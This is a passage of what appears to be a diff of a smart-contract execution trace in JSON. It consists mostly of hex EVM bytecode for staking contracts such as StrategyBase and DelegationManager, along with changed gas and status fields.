5565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a2646970667358221220164a1e6647f9a7e6acdd95fe11c2a51bff432bb3e4654da860b9e0fe8c10f37064736f6c634300081b0033", + "gas_used": 1447443, + "gas_limit": 1931973, "status": "Return", "steps": [], "decoded": { @@ -4049,31 +4065,31 @@ } ], "exit": "Return", - "out": "0x608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916148061103f5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610ab5565b6000805460ff1916600117905580156112d8576000805461ff0019166101001790555b6112e28888613621565b6112ea61370b565b6097556112f6896137a2565b6112ff866137f4565b61130b85858585613401565b8015611351576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050505050565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614806113bb5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b60006001600160a01b0386166128825760405162461bcd60e51b815260206004820152605060248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374616b65722063616e6e6f7460648201526f206265207a65726f206164647265737360801b608482015260a401610ab5565b825160000361290f5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374726174656769657320636160648201526c6e6e6f7420626520656d70747960981b608482015260a401610ab5565b60005b8351811015612cbb576001600160a01b03861615612968576129688688868481518110612941576129416152db565b602002602001015186858151811061295b5761295b6152db565b602002602001015161332c565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06001600160a01b0316848281518110612998576129986152db565b60200260200101516001600160a01b031603612a60577f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031663beffbb89888584815181106129f0576129f06152db565b60200260200101516040518363ffffffff1660e01b8152600401612a299291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316638c80d4e588868481518110612c4057612c406152db565b6020026020010151868581518110612c5a57612c5a6152db565b60200260200101516040518463ffffffff1660e01b8152600401612c8093929190615779565b600060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050505b600101612912565b506001600160a01b0386166000908152609f60205260408120805491829190612ce38361579d565b919050555060006040518060e00160405280896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018381526020014363ffffffff1681526020018681526020018581525090506000612d4b82611626565b6000818152609e602052604090819020805460ff19166001179055519091507f9009ab153e8014fbfb02f2217f5cde7aa7f9ad734ae85ca3ee3f4ca2fdd499f990612d9990839085906157b6565b60405180910390a198975050505050505050565b6213c680612dc160608301604084016157cf565b63ffffffff161115612e765760405162461bcd60e51b815260206004820152606c60248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527f63616e6e6f74206265203e204d41585f5354414b45525f4f50545f4f55545f5760848201526b494e444f575f424c4f434b5360a01b60a482015260c401610ab5565b6001600160a01b0382166000908152609960205260409081902060010154600160a01b900463ffffffff1690612eb290606084019084016157cf565b63ffffffff161015612f485760405162461bcd60e51b815260206004820152605360248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527218d85b9b9bdd08189948191958dc99585cd959606a1b608482015260a401610ab5565b6001600160a01b03821660009081526099602052604090208190612f6c828261580c565b505060405133907ffebe5cd24b2cbc7b065b9d0fdeb904461e4afcff57dd57acda1e7832031ba7ac90611af9908490615391565b606654600090600190811603612fc85760405162461bcd60e51b8152600401610ab5906152f1565b6001600160a01b03808516600090815260996020526040902060010154168015801590612ffe5750336001600160a01b03821614155b80156130135750336001600160a01b03861614155b156131805742846020015110156130925760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f766572207369676e617475726520657870697265640000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845290915290205460ff161561312c5760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f76657253616c7420616c7265616479207370656e740000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845282528220805460ff1916600117905585015161316d9088908890859088906109c8565b905061317e82828760000151614152565b505b6001600160a01b038681166000818152609a602052604080822080546001600160a01b031916948a169485179055517fc3ee9f2e5fda98e8066a1f745b2df9285f416fe98cf2559cd21484b3d87433049190a36000806131df88611bbe565b9150915060005b82518110156113515761322d888a858481518110613206576132066152db565b6020026020010151858581518110613220576132206152db565b60200260200101516138ee565b6001016131e6565b6001600160a01b0381166132c35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610ab5565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613363908490615766565b92505081905550836001600160a01b03167f6909600037b75d7b4733aedd815442b5ec018a827751c832aaff64eba5d6d2dd848484604051610f1f93929190615779565b6033546001600160a01b031633146117335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab5565b8281146134895760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a20696e707574206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a401610ab5565b8260005b818110156136195760008686838181106134a9576134a96152db565b90506020020160208101906134be919061499b565b6001600160a01b038116600090815260a160205260408120549192508686858181106134ec576134ec6152db565b90506020020135905062034bc08111156135b05760405162461bcd60e51b815260206004820152607360248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a205f7769746864726177616c60648201527f